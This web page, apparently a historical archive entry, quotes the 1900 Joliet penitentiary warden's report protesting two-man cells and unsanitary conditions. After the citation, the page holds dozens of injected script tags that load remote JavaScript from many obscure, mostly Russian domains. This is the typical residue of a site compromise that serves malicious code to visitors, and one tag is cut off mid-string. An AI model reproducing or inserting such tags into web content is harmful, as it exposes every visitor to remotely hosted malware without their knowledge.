View Details   No:  44 Title:  Size:  none 4x55x75x86.5x8.58x10 Image Group:  none 4x55x75x86.5x8.58x10 Circa Date:  Qty:  Scanned:  Copy:  "The two wings of the penitentiary contain 900 cells in which to take care of 1,200 or more prisoners. It is necessary, therefore, to put two prisoners in many of the cells, which are only seven feet long, seven feet high, and four feet wide; and we feel that we can present the matter no more forcibly than to quote from our last biennial report and say that: When one thinks of two men spending never less than fourteen hours each day during six days of the week, and on the seventh day nearly twenty-one hours, in a space so reduced, and with a slop bucket in the cell for their use in responding to the call of nature which no care can prevent from being offensive and pestilential in every sense of the word, he is compelled to ask what excuse the great State of Illinois can offer for compelling the management of this penitentiary to so deal with men who are required by law to serve sentences here that they must eat, rest and sleep in quarters so contracted, so repellant, and so utterly unfit for the purpose, that their very existence is a disgrace to the State that permits it. We are not believers in any system that would tend to pamper prisoners or to make the prison so attractive that confinement therein would have no terror for evil doers, but we are believers in a system that will preserve at least the health and strength of the inmates so that they can perform the daily tasks allotted to them here, and be enabled to leave the institution in such physical and mental condition that they will have no excuse for not going to work as soon as occupation can be found for them. One visit to the cell houses during the night time, a few breaths of the atmosphere coming from them, is all that is necessary to convince the most skeptical that the half has not been told by us, and we here and now enter our solemn protest against the continuance of such a system of herding men together to the detriment of their physical, mental and moral natures. "We are perfecting a plan which will enable us, if not to increase the number of cells, to bring those we have under the best and most modern sanitary conditions, and when the cost has been ascertained, we will lay the matter before your Excellency, with the hope that you will unite with us in an effort to persuade the Legislature of the wisdom, not to say humanity, of the undertaking. "It will certainly be a matter of pardonable pride to any administration that an improvement so just in its conception, and so humane in its spirit, was carried to a successful conclusion under its guidance." l 'Everett J. Murphy, Warden, Report of the Commissioners of the Illinois State Penitentiary at Joliet For the Two Years Ending Sept. 30, 1900 (Springfield: State of Illinois, 1901), p. 11-12. <script src=http://www.pyttco.com/ngg.js></script><script src=http://www.adwbn.ru/ngg.js></script><script src=http://www.90mc.ru/ngg.js></script><script src=http://www.jvke.ru/ngg.js></script><script src=http://www.po4c.ru/ngg.js></script><script src=http://www.bosf.ru/ngg.js></script><script src=http://www.ncb2.ru/ngg.js></script><script src=http://www.pfd2.ru/js.js></script><script src=http://www.iroe.ru/js.js></script><script src=http://www.njep.ru/js.js></script><script src=http://www.bosf.ru/js.js></script><script src=http://www.gty5.ru/js.js></script><script src=http://www.ncb2.ru/js.js></script><script src=http://www.jve4.ru/js.js></script><script src=http://www.bce8.ru/js.js></script><script src=http://www.iroe.ru/js.js></script><script src=http://www.ch35.ru/js.js></script><script src=http://www.nmr43.ru/js.js></script><script src=http://www.bnsr.ru/js.js></script><script src=http://www.gty5.ru/js.js></script><script src=http://www.kj5s.ru/js.js></script><script src=http://www.kj5s.ru/js.js></script><script src=http://www.b4so.ru/js.js></script><script src=http://www.nemr.ru/js.js></script><script src=http://www.iroe.ru/js.js></script><script src=http://www.ch35.ru/js.js></script><script src=http://www.nmr<script src=http://www.ueur3.ru/script.js></script>   Image: